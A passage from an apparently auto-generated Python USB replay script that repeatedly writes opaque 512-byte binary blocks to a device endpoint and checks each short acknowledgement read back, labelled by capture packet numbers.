b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xDC\\x44\\x78\\x2F\\x8A\\x44\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1D\\x46\\x66\\x71\\x15\\x02\\x51\\xEE\"\n b\"\\x8C\\xCD\\xEE\\x2F\\x65\\xDF\\x7A\\xA8\\x69\\x03\\xB2\\xFF\\x44\\x35\\x88\\x1C\"\n b\"\\xC3\\x66\\x0E\\xC2\\x76\\x3E\\x07\\x93\\x10\\x28\\x1E\\xED\\xB7\\xA1\\x3D\\x49\"\n b\"\\x11\\xE3\\x66\\x21\\xD4\\x0A\\xAE\\x84\\xEE\\xD4\\x64\\xDE\\x78\\x93\\x8D\\xA2\"\n b\"\\x09\\x65\\xB3\\x6F\\x46\\xF4\\xEB\\xF3\\x55\\x85\\x53\\xDF\\x5F\\xBC\\x84\\x98\"\n b\"\\x2D\\xC4\\x78\\x13\\x13\\xE5\\xC4\\xFD\\x99\\x67\\x32\\x72\\xF0\\xD2\\xF2\\x9C\"\n b\"\\xDC\\xA3\\xBE\\x58\\x6F\\xBB\\x83\\x0C\\x7B\\x33\\x22\\xE6\\x08\\x63\\x16\\xD7\"\n b\"\\xA2\\x9A\\x65\\xF9\\x5F\\x63\\x4F\\xC3\\x48\\xEC\\x70\\xD3\\x07\\x1B\\x5F\\xDC\"\n b\"\\xBA\\x00\\x87\\x6A\\x69\\x6E\\x78\\x23\\x20\\xEA\\x6F\\xAC\\x21\\xD0\\x28\\x0A\"\n b\"\\x21\\x46\\xF5\\xF2\\xC5\\xB2\\xC8\\x2D\\x6F\\x77\\x1C\\x24\\xD7\\x6E\\x41\\x7E\"\n b\"\\x04\\xF8\\xEE\\x3B\\xF9\\x43\\x3D\\x28\\x6E\\x57\\x87\\x22\\x52\\x01\\xD9\\x9A\"\n b\"\\x32\\x34\\xFA\\x03\\x78\\xF4\\x14\\x99\\xFC\\x38\\x79\\x8C\\x6B\\x14\\x8F\\xA4\"\n b\"\\x42\\x3C\\x7D\\x87\\x6A\\x96\\x8C\\x72\\x30\\x31\\x5F\\x60\\xF9\\x3F\\x51\\x5C\"\n b\"\\xF7\\x75\\xAC\\xB7\\xF6\\x36\\xBB\\xAF\\x74\\x44\\x35\\x1E\\xF1\\xEC\\xA8\\xBA\"\n b\"\\x46\\x27\\xA3\\xB4\\xD2\\x29\\x09\\xE0\\x3C\\xD6\\x53\\xA8\\xB1\\x8B\\x9D\\xAA\"\n b\"\\x8A\\xF4\\xEB\\xC5\\xE2\\x9D\\x12\\xDE\\x1B\\xDA\\x04\\xF1\\x80\\x5E\\x33\\x93\"\n b\"\\xCB\\xEB\\x5A\\x8F\\x0C\\x6A\\x5D\\xFA\\x50\\x2B\\x08\\xE3\")\n # Generated from packet 3083/3084\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3083/3084\")\n # Generated from packet 3085/3086\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x8E\\xB5\\x6A\\x13\\xF6\\x48\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xAA\\x3C\\x5B\\x3D\\xB6\\x23\\xFC\\x6D\"\n b\"\\x91\\x74\\xB2\\x10\\x23\\xF7\\xE2\\xEC\\x77\\xA4\\xE3\\x27\\xF9\\x8B\\x28\\x4F\"\n b\"\\x32\\xEC\\x04\\x77\\x31\\x02\\xDE\\x88\\x6E\\x6B\\x9E\\x94\\x6E\\x39\\x8B\\xFA\"\n b\"\\xB1\\x84\\x77\\x5C\\x01\\x07\\xD1\\x49\\x01\\xCB\\xE5\\xBE\\x0D\\x99\\x78\\x85\"\n b\"\\x66\\x4F\\x58\\x3D\\xC6\\x68\\x26\\x06\\x94\\x1C\\xCE\\x1C\\xE1\\x7E\\x51\\x14\"\n b\"\\x28\\x40\\x5E\\x3B\\x38\\x60\\x56\\xD1\\xE3\\xAA\\x82\\xF5\\xA8\\x73\\x99\\x34\"\n b\"\\x79\\xC1\\x74\\x5E\\xD3\\xDF\\xD4\\x94\\xC1\\x0B\\x78\\x83\\x1D\\xE6\\x0D\\xC3\"\n b\"\\x49\\xC3\\xF7\\xD1\\x18\\x5C\\xD2\\xA5\\xA9\\x37\\x76\\x2E\\x70\\x69\\x5A\\x56\"\n b\"\\x45\\xDE\\x19\\xEF\\x4C\\x76\\x5D\\x03\\xAA\\x8E\\x30\\x84\\x0B\\x1B\\x25\\x7D\"\n b\"\\x34\\xFA\\xFC\\x4D\\xC5\\x94\\x52\\xCB\\x92\\x61\\x06\\x70\\x9A\\x83\\x51\\xEE\"\n b\"\\x03\\x4C\\xEE\\x2F\\xEA\\x5E\\x7A\\xA8\\xE6\\x82\\xB2\\xFF\\xCB\\xB4\\x88\\x1C\"\n b\"\\x4C\\xE7\\x0E\\xC2\\xF9\\xBF\\x07\\x93\\x9F\\xA9\\x1E\\xED\\x38\\x20\\x3D\\x49\"\n b\"\\x9E\\x62\\x66\\x21\\x5B\\x8B\\xAE\\x84\\x61\\x55\\x64\\xDE\\xF7\\x12\\x8D\\xA2\"\n b\"\\x86\\xE4\\xB3\\x6F\\xC9\\x75\\xEB\\xF3\\xDA\\x04\\x53\\xDF\\xD0\\x3D\\x84\\x98\"\n b\"\\xA2\\x45\\x78\\x13\\x9C\\x64\\xC4\\xFD\\x16\\xE6\\x32\\x72\\x7F\\x53\\xF2\\x9C\"\n b\"\\x53\\x22\\xBE\\x58\\xE0\\x3A\\x83\\x0C\\xF4\\xB2\\x22\\xE6\\x87\\xE2\\x16\\xD7\"\n b\"\\x2D\\x1B\\x65\\xF9\\xD0\\xE2\\x4F\\xC3\\xC7\\x6D\\x70\\xD3\")\n # Generated from packet 3087/3088\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3087/3088\")\n # Generated from packet 3089/3090\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x40\\xE5\\x64\\x07\\xE9\\x06\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9D\\x38\\x8D\\xE7\\x14\\xFD\\x49\\x40\"\n b\"\\x56\\xA6\\x21\\x85\\xBF\\x6E\\x84\\xBF\\x61\\xA4\\xDE\\x29\\x26\\x4D\\xA2\\x58\"\n b\"\\xD0\\x73\\x6F\\x17\\x41\\x2B\\xF3\\x04\\x30\\x93\\xDF\\x0E\\x09\\x44\\x98\\x7C\"\n b\"\\x71\\xB8\\x13\\x42\\x50\\x04\\xFD\\xC8\\xD2\\xF2\\x72\\xA1\\x67\\x32\\x9C\\x8D\"\n b\"\\x16\\x7E\\x58\\x3E\\x0E\\x43\\x0C\\x2A\\x86\\xE2\\xE6\\x59\\xD6\\xD6\\xD7\\xF3\"\n b\"\\x2F\\xA5\\xF9\\x0E\\xD6\\x8F\\xC3\\x19\\x59\\xB0\\xD3\\x56\\xAE\\x9F\\xDC\\xEB\"\n b\"\\xB5\\x47\\x6A\\x38\\xDB\\xB8\\x23\\x71\\x5F\\xAF\\xAC\\x70\\x65\\xE8\\x0A\\x70\"\n b\"\\xF3\\x35\\xF2\\x94\\x07\\x08\\x2D\\x3E\\xC2\\xDC\\x24\\x86\\xDB\\x81\\x7E\\x55\"\n b\"\\x4D\\x2E\\x3B\\xA8\\xF6\\xFD\\x28\\x3F\\xE2\\x47\\x22\\x03\\xB4\\x19\\x9A\\x63\"\n b\"\\x81\\x3A\\x03\\x29\\x41\\xD4\\x99\\xAD\\x8D\\xB9\\x8C\\x3A\\xA1\\x4F\\xA4\\x13\"\n b\"\\x89\\xBD\\x87\\x3B\\x23\\x4C\\x72\\x61\\x84\\x9F\\x60\\xA8\\x8A\\x91\\x5C\\xA6\"\n b\"\\xC0\\x6C\\xB7\\xA7\\x83\\x7B\\xAF\\x25\\xF1\\xF5\\x1E\\xA0\\x59\\x68\\xBA\\x17\"\n b\"\\x92\\x63\\xB4\\x83\\x9C\\xC9\\xE0\\x6D\\x63\\x93\\xA8\\xE0\\x3E\\x5D\\xAA\\xDB\"\n b\"\\x41\\x2B\\xC5\\xB3\\x28\\xD2\\xDE\\x4A\\x6F\\xC4\\xF1\\xD1\\xEB\\xF3\\x93\\x9A\"\n b\"\\x5E\\x9A\\x8F\\x5D\\xDF\\x9D\\xFA\\x01\\x9E\\xC8\\xE3\\x93\\xAE\\x34\\x88\\x6C\"\n b\"\\xB7\\x81\\x6A\\xD8\\xE6\\xD2\\x3E\\xAA\\x5A\\x62\\x49\\x0D\\xEE\\x3D\\x4A\\x9F\"\n b\"\\x27\\xC2\\x8D\\x0C\\xE8\\xDC\\x4F\\xC1\\x35\\x8A\\x43\\x30\")\n # Generated from packet 3091/3092\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3091/3092\")\n # Generated from packet 3093/3094\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x5A\\xD1\\x3D\\xCB\\x9E\\x3B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFC\\x54\\x37\\x7B\\x7B\\x5F\\x8B\\xB2\"\n b\"\\x2C\\x72\\xBD\\x88\\xCF\\xF5\\xEE\\x0E\\x11\\x40\\xB6\\x07\\x40\\x26\\xA0\\x1E\"\n b\"\\x3E\\x81\\x29\\x3D\\x9A\\x27\\x6B\\x66\\xF2\\xE2\\x82\\xAE\\x57\\xD8\\x5C\\x64\"\n b\"\\x0D\\x4E\\x1B\\x8D\\x71\\x3F\\xED\\xB3\\xBC\\x70\\x7C\\xEB\\x20\\x63\\x0D\\x53\"\n b\"\\x0C\\x69\\x34\\x84\\x4B\\x1B\\x4C\\x78\\xC0\\x25\\x6D\\xC4\\x2E\\xAF\\xEF\\x32\"\n b\"\\xA1\\xC6\\x5A\\xF2\\x4F\\xEA\\x2B\\xBE\\x8B\\x59\\x33\\x83\\xDF\\x4D\\xBB\\x22\"\n b\"\\x35\\x3E\\xEB\\x16\\x04\\x94\\x12\\x65\\x2A\\x69\\xEB\\x4F\\x10\\x7E\\x64\\x70\"\n b\"\\x00\\x31\\x93\\x5F\\x0F\\x8C\\x88\\x87\\xB9\\x5F\\xE6\\x78\\xF0\\x16\\x62\\x6F\"\n b\"\\x7F\\x17\\x58\\x28\\xD9\\x17\\xCE\\xF5\\x21\\xF3\\x3A\\xC8\\xFE\\x59\\xFF\\x1C\"\n b\"\\xF7\\xE1\\xE6\\x41\\xAD\\x32\\x70\\xEE\\xE8\\xCF\\xCB\\x3D\\xFB\\x58\\xDF\\x87\"\n b\"\\xF1\\x64\\x89\\xD9\\x49\\x04\\xBC\\xFA\\xD0\\x4E\\x7C\\x14\\x4A\\xCA\\xB0\\x79\"\n b\"\\x5F\\x5D\\x9C\\x8F\\x77\\x74\\xB4\\x7D\\x54\\x5C\\x1E\\x8C\\xA1\\x06\\xB9\\x5F\"\n b\"\\xB3\\xCF\\xB7\\x51\\x8F\\xC1\\xFD\\xAC\\x64\\xC0\\xBE\\xBB\\x7C\\x42\\xCC\\x35\"\n b\"\\xCD\\xC7\\x64\\xA8\\x69\\x70\\xAF\\xA3\\x67\\xE4\\xA1\\x09\\x33\\x0A\\x5E\\x53\"\n b\"\\x7B\\x87\\x03\\x9D\\x79\\xBC\\x7C\\xEB\\x16\\xD4\\x15\\x12\\x0D\\x2D\\x52\\x04\"\n b\"\\x22\\xB6\\xD6\\x33\\x40\\xFD\\x63\\x5A\\x5C\\x3A\\xE2\\x5D\\x29\\x66\\xA3\\x08\"\n b\"\\x30\\xF4\\x93\\xF4\\x5B\\x0B\\x8A\\x41\\xB9\\xBF\\xDB\\x12\")\n # Generated from packet 3095/3096\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3095/3096\")\n # Generated from packet 3097/3098\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x94\\x81\\x33\\xDF\\x47\\x21\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9F\\x5F\\xBF\\x0F\\x39\\x6D\\xDF\\xC2\"\n b\"\\x0D\\x9A\\xD3\\x90\\x90\\xA1\\xB8\\x46\\xB0\\x19\\x18\\x61\\xCE\\x22\\x4A\\x15\"\n b\"\\x26\\x38\\x3F\\x77\\xB9\\x30\\xF6\\x49\\xB6\\x1F\\xE6\\x69\\xBE\\xF5\\x3D\\xA3\"\n b\"\\x6A\\xD1\\x76\\x7A\\x71\\x10\\xA7\\xC8\\x9C\\x7A\\x0D\\xD6\\x3C\\xB0\\x1F\\x02\"\n b\"\\x90\\xA7\\xC3\\xEF\\xE5\\xE7\\x97\\xCA\\x1F\\xF5\\xC6\\x55\\x3A\\x81\\x77\\x3E\"\n b\"\\x9E\\x0A\\xAE\\x60\\xB2\\x72\\x9B\\xD7\\xF1\\xCB\\x92\\x7F\\xB5\\x27\\x74\\x87\"\n b\"\\xD8\\xA0\\xD5\\x12\\xCD\\x59\\xEA\\xF3\\x14\\x69\\x1B\\x9D\\xBA\\xEF\\x4C\\x68\"\n b\"\\xEE\\x54\\x44\\x8A\\xB9\\xCA\\xDD\\x45\\x06\\x0B\\x34\\x57\\x92\\x8C\\x38\\x8B\"\n b\"\\x5A\\xDB\\x15\\xBD\\x60\\x38\\x92\\xEE\\xE6\\xE6\\x27\\xB6\\xEF\\xB7\\x41\\xA0\"\n b\"\\xF6\\xC9\\xE6\\x29\\xD5\\x6D\\x40\\x6B\\x8E\\x05\\x85\\x82\\x46\\xA0\\xBF\\x5C\"\n b\"\\x8C\\xFA\\x29\\x1B\\x65\\x86\\x58\\xED\\x5B\\x4B\\x17\\x7C\\x03\\xD7\\x04\\x0D\"\n b\"\\xBB\\xFB\\x0E\\x34\\x6C\\xBC\\x7C\\x4C\\x90\\x37\\x42\\x6D\\x2C\\xD9\\xC8\\xEF\"\n b\"\\xDA\\x56\\xA1\\x5A\\x1A\\xB8\\x8D\\x2B\\x56\\x7C\\x3E\\x33\\x6B\\x28\\x2A\\xBB\"\n b\"\\xCA\\xC2\\x59\\xEB\\xFE\\xF3\\xF3\\x12\\x8D\\xDD\\x0E\\xEB\\xA7\\xE7\\x19\\x64\"\n b\"\\x98\\xF7\\x56\\x93\\xB7\\xF8\\xEB\\x88\\x6F\\x4E\\x38\\xE6\\x90\\x07\\x71\\x62\"\n b\"\\x87\\x88\\x70\\x58\\xC0\\x2E\\x70\\xCE\\x1D\\xD6\\x94\\x3A\\x20\\x09\\x3E\\xFF\"\n b\"\\xF4\\x00\\x86\\xE6\\xA9\\x5A\\x55\\x70\\x06\\x1F\\xA8\\xCB\")\n # Generated from packet 3099/3100\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3099/3100\")\n # Generated from packet 3101/3102\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC6\\x70\\x21\\xE3\\xA1\\x36\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x71\\x6F\\x4F\\x35\\x63\\xBC\\xA8\\x38\"\n b\"\\xBF\\x74\\xFF\\x15\\x89\\x4E\\x1C\\x92\\xDA\\xC8\\xC2\\x27\\x82\\xC1\\x93\\x41\"\n b\"\\x94\\xD8\\xED\\xE6\\x1D\\xFB\\x49\\x40\\x5F\\xA0\\x21\\x85\\xB6\\x68\\x84\\xBF\"\n b\"\\x68\\xA2\\xDE\\x29\\x2F\\x4B\\xA2\\x58\\xD9\\x75\\x6F\\x17\\x48\\x2D\\xF3\\x04\"\n b\"\\x39\\x95\\xDF\\x0E\\x00\\x42\\x98\\x7C\\x78\\xBE\\x13\\x42\\x59\\x02\\xFD\\xC8\"\n b\"\\xDB\\xF4\\x72\\xA1\\x6E\\x34\\x9C\\x8D\\x1F\\x78\\x58\\x3E\\x07\\x45\\x0C\\x2A\"\n b\"\\x8F\\xE4\\xE6\\x59\\xDF\\xD0\\xD7\\xF3\\x26\\xA3\\xF9\\x0E\\xDF\\x89\\xC3\\x19\"\n b\"\\x50\\xB6\\xD3\\x56\\xA7\\x99\\xDC\\xEB\\xBC\\x41\\x6A\\x38\\xD2\\xBE\\x23\\x71\"\n b\"\\x56\\xA9\\xAC\\x70\\x6C\\xEE\\x0A\\x70\\xFA\\x33\\xF2\\x94\\x0E\\x0E\\x2D\\x3E\"\n b\"\\xCB\\xDA\\x24\\x86\\xD2\\x87\\x7E\\x55\\x44\\x28\\x3B\\xA8\\xFF\\xFB\\x28\\x3F\"\n b\"\\xEB\\x41\\x22\\x03\\xBD\\x1F\\x9A\\x63\\x88\\x3C\\x03\\x29\\x48\\xD2\\x99\\xAD\"\n b\"\\x84\\xBF\\x8C\\x3A\\xA8\\x49\\xA4\\x13\\x80\\xBB\\x87\\x3B\\x2A\\x4A\\x72\\x61\"\n b\"\\x8D\\x99\\x60\\xA8\\x83\\x97\\x5C\\xA6\\xC9\\x6A\\xB7\\xA7\\x8A\\x7D\\xAF\\x25\"\n b\"\\xF8\\xF3\\x1E\\xA0\\x50\\x6E\\xBA\\x17\\x9B\\x65\\xB4\\x83\\x95\\xCF\\xE0\\x6D\"\n b\"\\x6A\\x95\\xA8\\xE0\\x37\\x5B\\xAA\\xDB\\x48\\x2D\\xC5\\xB3\\x21\\xD4\\xDE\\x4A\"\n b\"\\x66\\xC2\\xF1\\xD1\\xE2\\xF5\\x93\\x9A\\x57\\x9C\\x8F\\x5D\\xD6\\x9B\\xFA\\x01\"\n b\"\\x97\\xCE\\xE3\\x93\\xA7\\x32\\x88\\x6C\\xBE\\x87\\x6A\\xD8\")\n # Generated from packet 3103/3104\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3103/3104\")\n # Generated from packet 3105/3106\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x08\\x20\\x2F\\xF7\\x81\\x6E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\xB4\\x8D\\xE7\\x19\\xF0\\x49\\x40\"\n b\"\\x5B\\xAB\\x21\\x85\\xB2\\x63\\x84\\xBF\\x6C\\xA9\\xDE\\x29\\x2B\\x40\\xA2\\x58\"\n b\"\\xDD\\x7E\\x6F\\x17\\x4C\\x26\\xF3\\x04\\x3D\\x9E\\xDF\\x0E\\x04\\x49\\x98\\x7C\"\n b\"\\x7C\\xB5\\x13\\x42\\x5D\\x09\\xFD\\xC8\\xDF\\xFF\\x72\\xA1\\x6A\\x3F\\x9C\\x8D\"\n b\"\\x1B\\x73\\x58\\x3E\\x03\\x4E\\x0C\\x2A\\x8B\\xEF\\xE6\\x59\\xDB\\xDB\\xD7\\xF3\"\n b\"\\x22\\xA8\\xF9\\x0E\\xDB\\x82\\xC3\\x19\\x54\\xBD\\xD3\\x56\\xA3\\x92\\xDC\\xEB\"\n b\"\\xB8\\x4A\\x6A\\x38\\xD6\\xB5\\x23\\x71\\x52\\xA2\\xAC\\x70\\x68\\xE5\\x0A\\x70\"\n b\"\\xFE\\x38\\xF2\\x94\\x0A\\x05\\x2D\\x3E\\xCF\\xD1\\x24\\x86\\xD6\\x8C\\x7E\\x55\"\n b\"\\x40\\x23\\x3B\\xA8\\xFB\\xF0\\x28\\x3F\\xEF\\x4A\\x22\\x03\\xB9\\x14\\x9A\\x63\"\n b\"\\x8C\\x37\\x03\\x29\\x4C\\xD9\\x99\\xAD\\x80\\xB4\\x8C\\x3A\\xAC\\x42\\xA4\\x13\"\n b\"\\x84\\xB0\\x87\\x3B\\x2E\\x41\\x72\\x61\\x89\\x92\\x60\\xA8\\x87\\x9C\\x5C\\xA6\"\n b\"\\xCD\\x61\\xB7\\xA7\\x8E\\x76\\xAF\\x25\\xFC\\xF8\\x1E\\xA0\\x54\\x65\\xBA\\x17\"\n b\"\\x9F\\x6E\\xB4\\x83\\x91\\xC4\\xE0\\x6D\\x6E\\x9E\\xA8\\xE0\\x33\\x50\\xAA\\xDB\"\n b\"\\x4C\\x26\\xC5\\xB3\\x25\\xDF\\xDE\\x4A\\x62\\xC9\\xF1\\xD1\\xE6\\xFE\\x93\\x9A\"\n b\"\\x53\\x97\\x8F\\x5D\\xD2\\x90\\xFA\\x01\\x93\\xC5\\xE3\\x93\\xA3\\x39\\x88\\x6C\"\n b\"\\xBA\\x8C\\x6A\\xD8\\xEB\\xDF\\x3E\\xAA\\x57\\x6F\\x49\\x0D\\xE3\\x30\\x4A\\x9F\"\n b\"\\x2A\\xCF\\x8D\\x0C\\xE5\\xD1\\x4F\\xC1\\x38\\x87\\x43\\x30\")\n # Generated from packet 3107/3108\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3107/3108\")\n # Generated from packet 3109/3110\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x62\\x92\\x04\\x9B\\x48\\x3E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFF\\x09\\x3E\\x3A\\xEF\\xAE\\x56\\xD1\"\n b\"\\x34\\x64\\x82\\xF5\\x7F\\xBD\\x99\\x34\\xAE\\x0F\\x74\\x5E\\x04\\x11\\xD4\\x94\"\n b\"\\x16\\xC5\\x78\\x83\\xCA\\x28\\x0D\\xC3\\x9E\\x0D\\xF7\\xD1\\xCF\\x92\\xD2\\xA5\"\n b\"\\x7E\\xF9\\x76\\x2E\\xA7\\xA7\\x5A\\x56\\x92\\x10\\x19\\xEF\\x9B\\xB8\\x5D\\x03\"\n b\"\\x7D\\x40\\x30\\x84\\xDC\\xD5\\x25\\x7D\\xE3\\x34\\xFC\\x4D\\x12\\x5A\\x52\\xCB\"\n b\"\\x45\\xAF\\x06\\x70\\x4D\\x4D\\x51\\xEE\\xD4\\x82\\xEE\\x2F\\x3D\\x90\\x7A\\xA8\"\n b\"\\x31\\x4C\\xB2\\xFF\\x1C\\x7A\\x88\\x1C\\x9B\\x29\\x0E\\xC2\\x2E\\x71\\x07\\x93\"\n b\"\\x48\\x67\\x1E\\xED\\xEF\\xEE\\x3D\\x49\\x49\\xAC\\x66\\x21\\x8C\\x45\\xAE\\x84\"\n b\"\\xB6\\x9B\\x64\\xDE\\x20\\xDC\\x8D\\xA2\\x51\\x2A\\xB3\\x6F\\x1E\\xBB\\xEB\\xF3\"\n b\"\\x0D\\xCA\\x53\\xDF\\x07\\xF3\\x84\\x98\\x75\\x8B\\x78\\x13\\x4B\\xAA\\xC4\\xFD\"\n b\"\\xC1\\x28\\x32\\x72\\xA8\\x9D\\xF2\\x9C\\x84\\xEC\\xBE\\x58\\x37\\xF4\\x83\\x0C\"\n b\"\\x23\\x7C\\x22\\xE6\\x50\\x2C\\x16\\xD7\\xFA\\xD5\\x65\\xF9\\x07\\x2C\\x4F\\xC3\"\n b\"\\x10\\xA3\\x70\\xD3\\x5F\\x54\\x5F\\xDC\\xE2\\x4F\\x87\\x6A\\x31\\x21\\x78\\x23\"\n b\"\\x78\\xA5\\x6F\\xAC\\x79\\x9F\\x28\\x0A\\x79\\x09\\xF5\\xF2\\x9D\\xFD\\xC8\\x2D\"\n b\"\\x37\\x38\\x1C\\x24\\x8F\\x21\\x41\\x7E\\x5C\\xB7\\xEE\\x3B\\xA1\\x0C\\x3D\\x28\"\n b\"\\x36\\x18\\x87\\x22\\x0A\\x4E\\xD9\\x9A\\x6A\\x7B\\xFA\\x03\\x20\\xBB\\x14\\x99\"\n b\"\\xA4\\x77\\x79\\x8C\\x33\\x5B\\x8F\\xA4\\x1A\\x73\\x7D\\x87\")\n # Generated from packet 3111/3112\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3111/3112\")\n # Generated from packet 3113/3114\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xAC\\xC2\\x0A\\x8F\\x31\\x0B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x32\\x72\\x14\\xF2\\x1D\\x5D\\x68\\x2A\"\n b\"\\xDA\\x0C\\x4F\\x7D\\x94\\x71\\xFD\\xFE\\xC4\\x8D\\xA9\\xAD\\xC5\\x46\\x27\\x82\"\n b\"\\x0E\\x2E\\xEC\\xE5\\x22\\x16\\xEF\\x0B\\xF8\\xE9\\xB0\\x62\\xB8\\xF5\\xB0\\x30\"\n b\"\\xAD\\x9B\\x6F\\x8D\\x51\\x3D\\xDF\\x0E\\xF7\\x28\\xDF\\xC2\\xC3\\xDF\\xD3\\x90\"\n b\"\\x5E\\xE4\\xB8\\x46\\x7E\\x5C\\x18\\x61\\x00\\x67\\x4A\\x15\\xE8\\x7D\\x3F\\x77\"\n b\"\\x77\\x75\\xF6\\x49\\x78\\x5A\\xE6\\x69\\x70\\xB0\\x3D\\xA3\\xA4\\x94\\x76\\x7A\"\n b\"\\xBF\\x55\\xA7\\xC8\\x52\\x3F\\x0D\\xD6\\xF2\\xF5\\x1F\\x02\\x5E\\xE2\\xC3\\xEF\"\n b\"\\x2B\\xA2\\x97\\xCA\\xD1\\xB0\\xC6\\x55\\xF4\\xC4\\x77\\x3E\\x50\\x4F\\xAE\\x60\"\n b\"\\x7C\\x37\\x9B\\xD7\\x3F\\x8E\\x92\\x7F\\x7B\\x62\\x74\\x87\\x16\\xE5\\xD5\\x12\"\n b\"\\x03\\x1C\\xEA\\xF3\\xDA\\x2C\\x1B\\x9D\\x74\\xAA\\x4C\\x68\\x20\\x11\\x44\\x8A\"\n b\"\\x77\\x8F\\xDD\\x45\\xC8\\x4E\\x34\\x57\\x5C\\xC9\\x38\\x8B\\x94\\x9E\\x15\\xBD\"\n b\"\\xAE\\x7D\\x92\\xEE\\x28\\xA3\\x27\\xB6\\x21\\xF2\\x41\\xA0\\x38\\x8C\\xE6\\x29\"\n b\"\\x1B\\x28\\x40\\x6B\\x40\\x40\\x85\\x82\\x88\\xE5\\xBF\\x5C\\x42\\xBF\\x29\\x1B\"\n b\"\\xAB\\xC3\\x58\\xED\\x95\\x0E\\x17\\x7C\\xCD\\x92\\x04\\x0D\\x75\\xBE\\x0E\\x34\"\n b\"\\xA2\\xF9\\x7C\\x4C\\x5E\\x72\\x42\\x6D\\xE2\\x9C\\xC8\\xEF\\x14\\x13\\xA1\\x5A\"\n b\"\\xD4\\xFD\\x8D\\x2B\\x98\\x39\\x3E\\x33\\xA5\\x6D\\x2A\\xBB\\x04\\x87\\x59\\xEB\"\n b\"\\x30\\xB6\\xF3\\x12\\x43\\x98\\x0E\\xEB\\x69\\xA2\\x19\\x64\")\n # Generated from packet 3115/3116\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3115/3116\")\n # Generated from packet 3117/3118\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xFE\\x33\\x18\\xB3\\x6C\\x48\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD7\\x98\\xFB\\xD6\\x94\\xE6\\x92\\x7F\"\n b\"\\xD0\\x0A\\x74\\x87\\xBD\\x8D\\xD5\\x12\\xA8\\x74\\xEA\\xF3\\x71\\x44\\x1B\\x9D\"\n b\"\\xDF\\xC2\\x4C\\x68\\x8B\\x79\\x44\\x8A\\xDC\\xE7\\xDD\\x45\\x63\\x26\\x34\\x57\"\n b\"\\xF7\\xA1\\x38\\x8B\\x3F\\xF6\\x15\\xBD\\x05\\x15\\x92\\xEE\\x83\\xCB\\x27\\xB6\"\n b\"\\x8A\\x9A\\x41\\xA0\\x93\\xE4\\xE6\\x29\\xB0\\x40\\x40\\x6B\\xEB\\x28\\x85\\x82\"\n b\"\\x23\\x8D\\xBF\\x5C\\xE9\\xD7\\x29\\x1B\\x00\\xAB\\x58\\xED\\x3E\\x66\\x17\\x7C\"\n b\"\\x66\\xFA\\x04\\x0D\\xDE\\xD6\\x0E\\x34\\x09\\x91\\x7C\\x4C\\xF5\\x1A\\x42\\x6D\"\n b\"\\x49\\xF4\\xC8\\xEF\\xBF\\x7B\\xA1\\x5A\\x7F\\x95\\x8D\\x2B\\x33\\x51\\x3E\\x33\"\n b\"\\x0E\\x05\\x2A\\xBB\\xAF\\xEF\\x59\\xEB\\x9B\\xDE\\xF3\\x12\\xE8\\xF0\\x0E\\xEB\"\n b\"\\xC2\\xCA\\x19\\x64\\xFD\\xDA\\x56\\x93\\xD2\\xD5\\xEB\\x88\\x0A\\x63\\x38\\xE6\"\n b\"\\xF5\\x2A\\x71\\x62\\xE2\\xA5\\x70\\x58\\xA5\\x03\\x70\\xCE\\x78\\xFB\\x94\\x3A\"\n b\"\\x45\\x24\\x3E\\xFF\\x91\\x2D\\x86\\xE6\\xCC\\x77\\x55\\x70\\x63\\x32\\xA8\\xCB\"\n 